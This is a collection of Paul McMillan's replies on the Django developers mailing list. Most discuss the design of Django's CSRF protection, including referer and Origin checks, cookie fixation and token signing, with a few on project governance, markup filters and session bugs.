Re: CSRF REASON_NO_REFERER with meta referrer tags

[Paul McMillan]

I'll reply to several emails at once here:

> If we add Origin checking, could we then allow a missing referrer and token?

Yes, we can support the origin header and allow a missing referer.

There's a ticket for that here:
https://code.djangoproject.com/ticket/16010
and I agree that it's long overdue. Do we have any information on
whether the referrer meta tag also influences the origin header? If it
doesn't, this whole conversation is a bit pointless...

> Aren't there existing security mechanisms to handle these situations?
> It seems like this is sending the wrong message. Django should be
> pushing developers and admins for the best solution to security and
> privacy concerns.
>
> Prevent HTTP when using HTTPS: use HSTS. (Apparently not supported by IE11 
> [0])

HSTS fixes the problem after the first visit, it can't fix the problem
before the user has visited the site (or ever in IE11, or for sites
which need unencrypted subdomains, or which are served at a
subdomain). We need to provide the best protection we can, so we still
need to check the referer.

As Aymeric said, the XFO header doesn't do anything to prevent a MITM
from sending whatever they want.

> However, In my opinion, the user's privacy needs go beyond this one
> scenario.

I will remind you that suppressing the referer header in question does
_absolutely nothing_ to enhance your user's privacy since it is only
relevant when the user is making a post from one page of your site to
another page of your site. Your webserver logs each of those requests,
and so where the traffic came from is immediately obvious. I agree
that chrome should support no-referrer-when-crossorigin, but since all
of this conversation is in reference to a proposed standard which is
not finalized yet, I would argue that this is an issue you can and
should bring up with the editors of the referrer-policy draft spec
(last revised 6 days ago). If they update the spec, I expect that
chrome will be updated to match it in short order.

> Is there detailed documentation on the type of attack this REFERER
> check guards against? Whether Django documentation or external
> documentation is fine. I would like to have a firm understanding of
> the real problem and how this solves it.

We don't have detailed documentation about every type of CSRF attack
that we defend against (such a document would be impossible to
maintain). However, I will try to lay this out more clearly for you
here.

setup:
user -> mitm -> server

Server is configured properly:
* HTTPS with good ciphers
* long-lived HSTS including all subdomains, served from yoursite.com
* X-Frame-Options: Deny
* Secure cookies
* permanent redirect from http to https

The user has never  been to your site on this computer before (maybe
they're logging in from a library computer, or a friend's computer, or
this is their first visit to your site).

The user types yoursite.com into the address bar and hits enter.

The mitm sees the request for http://yoursite.com, and rewrites the
301 redirect response your server sends to add a csrftoken=aaa cookie.

The user continues to your website. They log in.

Some time later, the user browses to aol.com (or any other insecure
site). The mitm sees this traffic, and on-the-fly, rewrites the html
that aol.com serves to include a script which posts a form to your
server, including a form field containing the CSRF value that the
attacker now knows (because the attacker set the csrf cookie in the
first place). This post (because it is prepared by the user's browser)
includes all cookies set for your domain (including the session and
the csrf token).

The user's browser may or may not send a referer with this post, but
in either case the origin does NOT match your original server, and
Django rejects the attack. If we remove the referer check in Django,
this attack is accepted (since it has a correct matching CSRF token
and a valid user session), and your application is compromised.

For websites and browsers that don't support HSTS (or websites which
aren't at the top level domain, or which don't include all subdomains
in the HSTS), this attack works every single time the user visits your
page. For browsers which do support HSTS (and your server has it
enabled) the attack is viable any time until the first time a browser
visits your page. Django has to provide the _best_ possible CSRF
protection it can, so it is not an option to exclude protection for
the first visit, or for sites which use non-https subdomains or parent
domains, or for browsers that don't support HSTS.

Hopefully you see why this check is important. You should find out
whether the referrer metatag also influences the origin header - if it
doesn't, fixing the ticket mentioned above would make most of your
concerns go away.

Regards,
-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers  (Contributions to Django itself)" group.
To unsubscribe from this group and stop receiving 

Re: CSRF REASON_NO_REFERER with meta referrer tags

[Paul McMillan]

The referer check is primarily there to help make users who choose not
to use HSTS safer.

Without HSTS, a mitm can set CSRF cookies (e.g. by serving an HTTP
page emulating your domain in an iframe on a different unencrypted
page, even if you only ever serve your own page from HTTPS), and then
post (from wherever) to your secured page. By forcing the post to come
from the same domain, we've made this attack significantly less
convenient.

I agree that it's really unfortunate that we don't have a better
mechanism for this in the browsers, but this still seems to be the
best tradeoff we have right now.

-Paul


On Tue, Feb 3, 2015 at 9:43 PM, Jon Dufresne  wrote:
> On Tue, Feb 3, 2015 at 11:52 AM, Aymeric Augustin
>  wrote:
>> You can fix that problem by saving some authentication info in the user's 
>> session, most likely with a custom auth backend — see django-sesame for an 
>> example of how to do this. Then redirect immediately to an URL that doesn't 
>> contain the nonce. Of course all this must happen over HTTPS to reduce the 
>> likelihood of leaving the nonce in the logs of various caches or reverse 
>> proxies.
>
> My application is 100% over HTTPS, HTTP traffic is not allowed.
>
> Thanks for these pointers. This may not work exactly for me, but it
> certainly is something interesting to think about. I'll look into it
> more.
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers  (Contributions to Django itself)" group.
> To unsubscribe from this group and stop receiving emails from it, send an 
> email to django-developers+unsubscr...@googlegroups.com.
> To post to this group, send email to django-developers@googlegroups.com.
> Visit this group at http://groups.google.com/group/django-developers.
> To view this discussion on the web visit 
> https://groups.google.com/d/msgid/django-developers/CADhq2b6SXqY78qiNdB7BkAQUcBHzAFUON%3DY69mEddu6Q55SWdg%40mail.gmail.com.
> For more options, visit https://groups.google.com/d/optout.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers  (Contributions to Django itself)" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to django-developers+unsubscr...@googlegroups.com.
To post to this group, send email to django-developers@googlegroups.com.
Visit this group at http://groups.google.com/group/django-developers.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/django-developers/CAO_YWRWosR0yePoqiQSKW2M4--ucY747smFNXcUSSQ4GnsCmag%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

Re: Updating the organization of the Django Project

[Paul McMillan]

+1

Thanks for your hard work, Aymeric.

-Paul

On Wed, Jul 23, 2014 at 12:25 PM, charettes  wrote:
> +1
>
> Thanks for putting this up together Aymeric
>
> Simon
>
> Le mercredi 23 juillet 2014 09:30:13 UTC-4, Aymeric Augustin a écrit :
>>
>> Hello,
>>
>> I’ve been working on updating our organization:
>> https://github.com/django/django/pull/2947
>>
>> This proposal attempts to address several issues with our current
>> organization. There’s no short version and any simplistic interpretation
>> will be wrong. Here are the main factors at play.
>>
>> 1) In theory, the core team is the group of committers, each of whom has
>> been judged capable of making code design decisions. (Astute readers will
>> have noticed that it isn’t true in practice.) This restrictive approach to
>> staffing makes it hard to cover all of our HR needs. Specifically:
>> a) It creates a chasm between non-core and core contributors,
>> which has perverse side effects and creates tons of frustration.
>> b) It drives away would-be contributors whose help wouldn’t
>> involve committing code to the main Django repository.
>> c) Even if such contributors are found, it’s hard to convince the
>> core team to bring them on board.
>>
>> 2) Since the BDFLs have stepped down, there’s no obvious way to counteract
>> honest mistakes made by core developers. This is making the core team
>> uncomfortable at times. While BDFLs hardly ever had to intervene, their mere
>> existence played a role. We need to recreate that role in a more democratic
>> fashion.
>>
>> 3) We’re good at burning out our most prolific contributors. Since we lack
>> structure, it’s too easy to become responsible for everything, until you
>> can’t handle it anymore and throw the towel. We must classify roles, write
>> down who takes what role, fill the gaps with new volunteers, and remove
>> pressure around stepping down.
>>
>> 4) As we have grown, having no explicit organization within the core team
>> makes it complicated for newcomers to figure who does what and how they fit
>> in the picture. It doesn’t erase the power structure. It merely hides it.
>>
>> My proposal builds upon years of discussions at DjangoCons. It has gone
>> through many rounds of feedback inside the core team already. It’s an
>> evolution, not a revolution. It takes into account the growth of the
>> project, acknowledges and formalizes some things that we’re already doing,
>> and introduces just enough formal organization to make everyone comfortable.
>>
>> It doesn’t encompass everything we could do to improve our organization.
>> In particular I expect some follow up work on how we manage roles in order
>> to avoid burnout.
>>
>> I would like to ask the core team for a formal vote on this pull request,
>> according to our guidelines. [1] Please vote by the end of July in UTC
>> (2014-08-01T00:00:00Z).
>>
>> Obviously, I’m voting +1.
>>
>> Thank you,
>>
>> --
>> Aymeric.
>>
>>
>> [1]
>> https://docs.djangoproject.com/en/stable/internals/contributing/bugs-and-features/#how-we-make-decisions
>
> --
> You received this message because you are subscribed to the Google Groups
> "Django developers" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to django-developers+unsubscr...@googlegroups.com.
> To post to this group, send email to django-developers@googlegroups.com.
> Visit this group at http://groups.google.com/group/django-developers.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/django-developers/6e625452-74f2-46b1-8553-6167effcd7f5%40googlegroups.com.
>
> For more options, visit https://groups.google.com/d/optout.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to django-developers+unsubscr...@googlegroups.com.
To post to this group, send email to django-developers@googlegroups.com.
Visit this group at http://groups.google.com/group/django-developers.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/django-developers/CAO_YWRVuypjN1BgObnujeXGS5LT-JzxCoVG_QEwFkDRMFpXPjA%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.

Re: Proposal: Modifying the CSRF protection scheme

[Paul McMillan]

I agree with Jacob on both points.

+1 from me, especially since neither of these changes should require
changes in application code which is already using the interface
correctly.

-Paul

On Tue, Jul 30, 2013 at 1:22 PM, Jacob Kaplan-Moss  wrote:
> Hey Shai -
>
> I have no objections to this change. I think it's got a slight whiff of
> security theatre, in that it *looks* like it adds more protection than it
> *actually* does. However, I, too, have spent a ton of time talking auditors
> down from "OMG Django is vulnerable to CSRF!" and I'd like to do less of
> that. I like that rotating SECRET_KEY invalidates CSRF tokens.
>
> Time-limiting is a nice feature too, actually. Again the perceived security
> is higher than the actual added security, but the general principle of
> giving people more control is a good one. I'm sure there's some audit
> checklist out there that has "CSRF tokens must not be valid for longer than
> X hours" or something on it, and helping our users tick those boxes isn't
> such a bad thing.
>
> So yeah, lukewarm praise from me at best, but since there's at least a bit
> of real improvement here I see no reason this shouldn't go in. +1 from me.
>
> Jacob
>
>
> On Sat, Jul 27, 2013 at 6:12 PM, Shai Berger  wrote:
>>
>> Hi everybody,
>>
>> TL;DR: A simple change can make Django's CSRF protection a little better;
>> an
>> additional, slightly less simple one, can also make it look better.
>>
>> Django's CSRF protection scheme is a bit unusual; unlike most such
>> schemes, it
>> does not rely on a value stored in the server that needs to be matched by
>> a
>> submitted token and is replaced with every submission, but rather on a
>> constant value stored in a cookie. This generally works (for details of
>> how
>> and under what conditions exactly, see [1]), but has two minor problems:
>>
>> 1) It is unusual, and in particular diverges from what OWASP[2]
>> recommends[3];
>> as a result, security analysts often think it is not secure. They have
>> been
>> proven wrong in all cases members of core are aware of, but proving it
>> again
>> and again is a nuisance, and there may be bad PR related to this.
>>
>> 2) It carries a "second-order" vulnerability: If your site has been
>> compromised (XSS, Man-in-the-middle, or server compromise) then you become
>> persistently vulnerable to CSRF. All of these vulnerabilities are way
>> worse
>> than CSRF and render all CSRF protection schemes worthless while they
>> last;
>> the point is *not* that they allow CSRF, but rather that they allow CSRF
>> to be
>> performed after the main hole has been plugged. This is because the
>> attacker
>> can use the main vulnerability to "steal", or even set, csrftoken cookie
>> values, which they can then use later. After a successful attack of this
>> magnitude, you need to reset the csrftoken cookies of all users, and this
>> is
>> neither obvious nor straightforward to do.
>>
>> Django's unique scheme does have two advantages over the more common
>> solutions, which we would like to keep:
>>
>> 1) It is not tied to sessions, users, or site-stored per-user data,
>> allowing
>> CSRF protection to a wider range of users
>>
>> 2) It avoids the problem of having only one "current" token, which causes
>> the
>> submission of one form to invalidate forms open in other browser tabs.
>>
>> To improve on both problem issues, while keeping the advantages, I suggest
>> the
>> following modifications:
>>
>> a) Use a signed cookie for csrftoken -- using Django's existing signing
>> facility[4], this means signing the cookie with the SECRET_KEY from the
>> settings; so that an attacker cannot set arbitrary cookies, and changing
>> the
>> SECRET_KEY after a compromise immeiately invalidates csrftoken cookies.
>>
>> b) Optionally allowing time-limited CSRF tokens. Such tokens will be
>> generated
>> by adding a parameter of maximum age to the csrftoken tag, and by marking
>> view
>> methods (specifically with a decorator, or globally with a setting) as
>> requiring timed tokens. When this is used, the posted token value will
>> need to
>> be different from the cookie value -- to keep advantage 2, the cookie will
>> still be constant, and expiry time will only be present in the submitted
>> token[5]. This method breaks the current way we do CSRF-protected AJAX, so
>> it
>> will likely stay optional (and opt-in).
>>
>> As you may guess, signing the cookie adds an actual iota of security.
>> Adding
>> expiry adds very little -- if an attacker has access to the cookie, they
>> can
>> usually just ask the site to generate valid tokens for them, so getting
>> any
>> real protection will require annoyingly short expiry times. But the fact
>> that
>> an attacker needs this extra step makes it a tiny bit harder for them and
>> makes their actions a tiny bit more detectable; and having a constantly-
>> changing CSRF token may make the whole thing look a little better to naive
>> analysts.
>>
>> I 

Re: #3011 - Custom User Models -- Call for final review

[Paul McMillan]

On Sun, Oct 28, 2012 at 8:54 AM, Ludwig Kraatz  wrote:
> Just found a way to describe my point of view in a little different way:
> * Why is there a need to have Authentication and Authorization in one App -
> when both answer a totally different purpose? *

> But the answer - as you said - it might be the more convenient way in 90% of
> the use cases... And because of that - easier to use.
> => right..?

You nailed it. In systems which separate the two, it's extremely
common for developers to mistake one for the other, and build insecure
systems. By providing both together by default, developers who have
never considered the fact that the two concepts can be separate will
do the right thing, and the 90% case for the rest of us of "I need
both together" is also met.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: preventing 'csrftoken' cookie fixation attacks

[Paul McMillan]

Hi Mike,

If an attacker can set cookies on your domain, you've got much larger
problems than whether or not they know the nonce. Even if you do
change the nonce on login, you are still vulnerable to multiple forms
of session fixation attacks. To quote myself from an earlier mail to
this list:

https://groups.google.com/forum/#!msg/django-developers/3vG7H3kRBZ0/rZmJFazA4YMJ

Django's CSRF implementation differs from many others which store
CSRF information alongside session information on the server. The CSRF
mechanism functions by matching a token provided in a form with a
token provided as a cookie in the browser. If you set the cookie to
'zzz', it will still function perfectly well. The security comes from
the fact that an attacker cannot set the cookie, not that it happens
to contain any specific cryptographic value.

Given this property, if an attacker can set a CSRF token cookie,
rotating it during login makes no functional difference to your
application security.

The solution here is to configure your application so that an attacker
cannot read or set any cookies. The best way to do this is to enable
HSTS including subdomains, get yourself added to the browser pinning
lists, make sure your domain contains no XSS bugs, and encourage users
with browsers that do not support HSTS to switch to browsers that do.

If the specific properties of Django's CSRF implementation do not work
for your application, you may be interested in this alternate CSRF
middleware implementation:

https://github.com/mozilla/django-session-csrf

As always, when reporting potential security problems, please use the
secur...@djangoproject.com address.

Regards,
-Paul

On Sat, Oct 27, 2012 at 7:01 PM,   wrote:
> Hi there,
>
> I'd like to discuss the behavior of the 'csrftoken' cookie that is used
> for django's CSRF protection [1].
> I noticed that the cookie content does not change when performing a login
> (like the 'sessionid' cookie does).
> According to [1] this seems to be the documented behavior: "This cookie is
> set by CsrfViewMiddleware. It is meant to be *permanent*"
> but the csrftoken content should change on login (like the sessionid
> cookie does).
> If the attacker is able to set the cookie (this can happen before the
> victim performs the login) he will know the
> nonce that is needed to bypass the CSRF protection:
> "The malicious user would have to know the nonce, which is user specific
> (using a cookie)." [2]
>
> Do you agree that the 'csrftoken' cookie should be treated like the
> session cookie when it comes to fixation attack prevention (cookie should
> change on login)?
> Can this be fixed directly in the CsrfViewMiddleware or can/should
> developers address this in the webapplication?
>
> kind regards,
> Mike
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: contrib.markup deprecation

[Paul McMillan]

My primary concerns are that we:

A) do not ship vulnerable code
B) do not bundle new external libraries
C) do not make misleading assertions about the security of the
solutions we do provide

C was the primary motivator here - the python-markdown library does
not seem to provide a mode where it is both useful and safe.

If you're willing to do the work to make sure that all the template
filters we ship are both useful and safe (or deprecated), I'd be in
support of reversing the decision to deprecate the whole module. In
the case of markdown, my personal preference would be to encourage the
use of the sundown library.

-Paul

On Sat, Oct 13, 2012 at 1:34 PM, Luke Plant  wrote:
> Hi all,
>
> https://code.djangoproject.com/ticket/18054
>
> I just came across this, and it seems slightly hasty. Most deprecations
> of entire contrib modules would require some discussion on django-devs,
> I would have thought.
>
> The filters provided by this module are probably widely used, and I
> think slightly better documentation of a migration route would be nice,
> and some more explanation in the release notes. The nature of template
> tags/filters like this is that they are necessarily glue code between
> some functions and the Django template library, so it didn't seem that
> inappropriate to me to have a contrib.markup module, any more than any
> of the other contrib modules, even though they are relatively small
> functions.
>
> Also, hundreds of developers implementing their own solutions doesn't
> seem sensible. That's especially true as it is easy to get those
> functions wrong. I think the current state leaves people more likely to
> be vulnerable, because many people will botch together an insecure
> solution - and encouraging people to use the markup libraries directly,
> as the release notes do, will make that worse.
>
> For example, for restructured text, you need at least these settings to
> be safe in a typical HTML/web app situation:
>
>   { 'raw_enabled': False,
> 'file_insertion_enabled': False
>   }
>
> (This is implied by the current Django docs, but it really ought to be
> enforced by the code)
>
> To add further confusion, there are projects like django-rstify out
> there, which has the same vulnerabilities, and also seems to be a bit
> dead at the moment (github repo has disappeared).
>
> I'm happy to work on this to provide an external solution for
> restructured text, but don't want to compete with django-rstify if I can
> avoid it.
>
> I will invite Martin Mahner, the author of django-rstify to participate
> in this thread. I think we should have recommendations for alternatives
> for rendering markdown as well.
>
> Regards,
>
> Luke
>
>
> --
> "Christ Jesus came in to the world to save sinners" (1 Timothy 1:15)
>
> Luke Plant || http://lukeplant.me.uk/
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Logging Out with POST by Default?

[Paul McMillan]

That's the same ticket as this one, which is more recent and has been
open for longer...

https://code.djangoproject.com/ticket/15619

FWIW, I agree we need to fix this.

On Fri, Sep 21, 2012 at 6:56 AM, Aymeric Augustin
 wrote:
> Le 20 sept. 2012 à 20:03, Carl Meyer  a écrit :
>
>> FWIW I agree, and I think #7989 should be reopened. I do logout-via-POST
>> on all my projects nowadays to avoid logout CSRF, and it's really quite
>> simple. You can easily style a form button to look however you want
>> (including just like a link), so there's really no negative impact
>> besides slightly more markup in the template.
>
> I'm also in favor of reconsidering #7989, because Django has become a 
> widely-used, general-purpose framework, and it has a responsibility to 
> promote good practices.
>
> For instance, readthedocs.org simply uses django.contrib.auth by the book 
> [1], and thus is vulnerable to logout XSRF. (Disqus and Pinterest aren't 
> vulnerable and RTD.org is the next site that crossed my mind — I'm not 
> picking on RTD.org in any way.)
>
> Django should provide as much built-in security as possible, especially for 
> low-budget sites that can't afford security consultants.
>
>> The only irritating bit is that the Django admin implements its own
>> logout via GET, so you have to subclass AdminSite to fix that if you're
>> using the admin.
>
>
> Let's update the admin base template and logout view to use POST.
>
> --
> Aymeric.
>
>
> [1] https://docs.djangoproject.com/en/dev/topics/auth/ says:
>
>> For example, using the defaults, add the following line to your URLconf:
>> (r'^accounts/login/$', 'django.contrib.auth.views.login'),
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Why is CSRF cookie persistent?

[Paul McMillan]

Hi Gruffudd,

If the cookie were set to expire at browser close, it would cause CSRF
errors for users who closed a browser (or bookmarked a page with a
form on it) and then loaded that page from a browser cache and
submitted the form. I'm ambivalent about whether this use case is
worth supporting (it may be important on mobile devices, for example),
but I don't believe that setting the cookie to expire on browser close
provides much security benefit to an otherwise properly configured
site (HTTPS, HSTS, etc.).

Django's CSRF implementation differs[1] from many others which store
CSRF information alongside session information on the server. The CSRF
mechanism functions by matching a token provided in a form with a
token provided as a cookie in the browser. If you set the cookie to
'zzz', it will still function perfectly well. The security comes from
the fact that an attacker cannot set the cookie, not that it happens
to contain any specific cryptographic value.

If the concern is that an attacker could access a user's physical
computer between sessions and steal a CSRF token, setting it to expire
at browser close would not prevent an attacker from inserting a cookie
of known value that would be used during the next session. I'm not
convinced we can secure the tokens of a user whose computer has been
physically accessed by an attacker.

Still, if it can be convincingly demonstrated that setting the cookie
to expire at browser close would not break existing use cases (mobile
browsers are my chief concern) I'd be open to changing the default
behavior. We generally consider it a bug if any non-malicious user
can, through innocent behavior, trigger the CSRF warning.

-Paul

[1] Django's CSRF implementation usually sets off all kinds of false
alarms in most pen-tester's tools, since it doesn't work exactly the
same way other implementations do, and isn't tied to the session
cookie.

On Tue, Aug 21, 2012 at 3:53 PM, Gruffudd Williams  wrote:
> The results of a recent penetration test brought up the issue of the use of 
> persistent cookies, specifically the CSRF cookie which has an expiry date one 
> year in the future.
>
> The rationale given was that since the cookie is stored on the hard drive 
> then it is theoretically possible to get hold of it between a user's sessions.
>
> The question is, does the csrf cookie really need to be persistent at all? I 
> can't see that setting an expiry adds to the security model.
> If it was made non-persistent then the only difference is that the cookie 
> would be re generated for each new browser session, which means it would be 
> generated more often than if the cookie was persistent, but is this an issue?
>
> Perhaps I'm missing something, but I'd be interested to learn the reasons why 
> it was implemented with a persistent cookie.
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To view this discussion on the web visit 
> https://groups.google.com/d/msg/django-developers/-/N4a1LKzUIYoJ.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Django 1.4 bug: Using cache_page and csrf_protect decorators results in a messy Set-Cookie response header.

[Paul McMillan]

No. please open a new bug detailing this issue.

-Paul

On Tue, May 15, 2012 at 6:53 AM, Rafał Stożek <say...@gmail.com> wrote:
> Should we reopen https://code.djangoproject.com/ticket/15863 then?
>
>
> On Mon, May 14, 2012 at 4:39 PM, Suteepat Damrongyingsupab
> <tianiss...@gmail.com> wrote:
>>
>> Hi all,
>> Thanks for your help to investigate the issue. I didn't have a chance to
>> look further into it.
>> So every class-based views that subclass from TemplateResponseMixin are
>> affected by this bug because it uses TemplateResponse as its response_class.
>>
>>
>>
>> On Monday, May 14, 2012 7:28:50 PM UTC+7, Rafał Stożek wrote:
>>>
>>> Oh, I see where the bug is. SimpleTemplateResponse.__getstate__ does not
>>> call super(). And HttpResponse class serializes cookies in its __getstate__
>>> method. So basically SimpleTemplateResponse doesn't serialize cookies
>>> correctly.
>>>
>>> On Mon, May 14, 2012 at 1:25 PM, Rafał Stożek <say...@gmail.com> wrote:
>>>>
>>>> Could you try again to cause bug with SafeView class, but this time
>>>> using TemplateResponse class instead of render_to_response shortcut?
>>>>
>>>>
>>>> On Mon, May 14, 2012 at 10:24 AM, Suteepat Damrongyingsupab
>>>> <tianiss...@gmail.com> wrote:
>>>>>
>>>>> I've just found the root cause of the problem.
>>>>> The bug occurs when using ListView (I haven't tested other CBV though)
>>>>> and decorating it with cache_page and csrf_protect.
>>>>> I've tested it with a new clean project and left settings.py as a
>>>>> default.
>>>>> The simple code I used to test is as follows:
>>>>>
>>>>> urls.py (excerpt):
>>>>>     url(r'safe/$', cache_page(1800)(csrf_protect(SafeView.as_view(,
>>>>>     url(r'bug/$', cache_page(1800)(csrf_protect(BugView.as_view(,
>>>>>
>>>>> views.py:
>>>>> from django.template import RequestContext
>>>>> from django.views.generic import View, ListView
>>>>>
>>>>> class SafeView(View):
>>>>>     template_name = 'basic/index.html'
>>>>>
>>>>>     def get(self, request):
>>>>>     return render_to_response('basic/index.html', {'msg': 'Hello,
>>>>> world'}, context_instance=RequestContext(request))
>>>>>
>>>>> class BugView(ListView):
>>>>>     template_name = 'basic/index.html'
>>>>>     queryset = []
>>>>>
>>>>> template (basic/index.html):
>>>>> Today message: {{ msg }}{% csrf_token %}
>>>>>
>>>>> I kept reloading the SafeView page (20+ times) and the bug didn't
>>>>> occur.
>>>>> You should try reloading the BugView page and the bug will occur within
>>>>> 10 reloading times.
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> On Monday, May 14, 2012 12:14:21 AM UTC+7, Paul McMillan wrote:
>>>>>>
>>>>>> That looks a lot like 15863.
>>>>>> https://code.djangoproject.com/ticket/15863
>>>>>>
>>>>>> Which cache backend are you using? Which session backend? Are you
>>>>>> absolutely positive you are using Django 1.4, and not a
>>>>>> system-installed version of 1.3? Does your code pickle or unpickle
>>>>>> sessions or cookies anywhere outside of the caching framework?
>>>>>>
>>>>>> I thought we fixed that bug, but if you can provide minimal steps to
>>>>>> reproduce it in Django 1.4, we'll have to reopen the ticket.
>>>>>>
>>>>>> -Paul
>>>>>>
>>>>>> On Sat, May 12, 2012 at 1:13 PM, Suteepat Damrongyingsupab
>>>>>> <tianiss...@gmail.com> wrote:
>>>>>> > I'm using Django 1.4.
>>>>>> > According to the Django csrf docs, I decorate my class-based view in
>>>>>> > the
>>>>>> > urls.py as follows:
>>>>>> >
>>>>>> > cache_page(1800)(csrf_protect(MyView.as_view()))
>>>>>> >
>>>>>> > I kept reloading MyView page url and Set-Cookie header would be
>>>>>> > recursive
>>>>>> > like this:
>>>>>> >
>>>

Re: Django 1.4 bug: Using cache_page and csrf_protect decorators results in a messy Set-Cookie response header.

[Paul McMillan]

That looks a lot like 15863.
https://code.djangoproject.com/ticket/15863

Which cache backend are you using? Which session backend? Are you
absolutely positive you are using Django 1.4, and not a
system-installed version of 1.3? Does your code pickle or unpickle
sessions or cookies anywhere outside of the caching framework?

I thought we fixed that bug, but if you can provide minimal steps to
reproduce it in Django 1.4, we'll have to reopen the ticket.

-Paul

On Sat, May 12, 2012 at 1:13 PM, Suteepat Damrongyingsupab
 wrote:
> I'm using Django 1.4.
> According to the Django csrf docs, I decorate my class-based view in the
> urls.py as follows:
>
> cache_page(1800)(csrf_protect(MyView.as_view()))
>
> I kept reloading MyView page url and Set-Cookie header would be recursive
> like this:
>
> Set-Cookie: csrftoken="Set-Cookie: csrftoken=\"Set-Cookie:
> csrftoken=XeRCBpXuNpuRie17OqWrDIM3xKt9hV3Q\\073 expires=Sat\\054 11-May-2013
> 19:50:21 GMT\\073 Max-Age=31449600\\073 Path=/\""
>
> I don't know what's a trigger to this behavior.
> Has anyone found a problem like this? Please help.
> Thanks.
>
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Django developers" group.
> To view this discussion on the web visit
> https://groups.google.com/d/msg/django-developers/-/Q5Ywwf3O0sIJ.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at
> http://groups.google.com/group/django-developers?hl=en.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: GSoC 2012: Security Enhancements

[Paul McMillan]

On Wed, Apr 18, 2012 at 3:50 PM, Luke Plant  wrote:
> One query: are you sure it is harder to manipulate? In particular, I
> remember from a while back that Flash allowed some headers to be
> manipulated, which caused problems, and they fixed it by blacklisting
> some headers, I think including referer. Did they also fix Origin?

In very old browsers and very old versions of flash*, the origin
header isn't on the blacklist. This is why I propose to only use it as
a negative signal (if present, and does not match, fail) rather than
also as a positive signal. In a year or two (maybe 2014 when IE6 is
finally, truly, laid to rest), we can revisit the idea of using it as
a positive signal.

-Paul

* It has been patched in version 7 and onward. If you are running
unpatched flash, you probably have so many viruses it doesn't
matter... 
http://helpx.adobe.com/flash-player/kb/actionscript-error-send-action-contains.html

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: GitHub migration planning

[Paul McMillan]

Max, and others on this thread,

Arguing about the specific mechanics of how github issues work isn't
productive. Put very plainly:

Django will not move to github issues because they cannot support our
open community triage process.

This is not negotiable.

Regards,
-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Django File-based session doesn't expire

[Paul McMillan]

Hi,

This is explained in the docs about sessions:
https://docs.djangoproject.com/en/dev/topics/http/sessions/#clearing-the-session-table

We provide a job you can periodically run to remove expired sessions.
However, looking at the code, it appears that this only works for the
database backed sessions, and does not work for file-backed sessions.
In the usual case, the cookie expires out of the user's browser and so
they have no access to the session on disk, even if it is still
present, but this leaves you with an ever-growing directory of old
files on the disk.

As a practical matter, file-based sessions are extremely slow compared
to the other session backends, so they are not very common in
production environments.

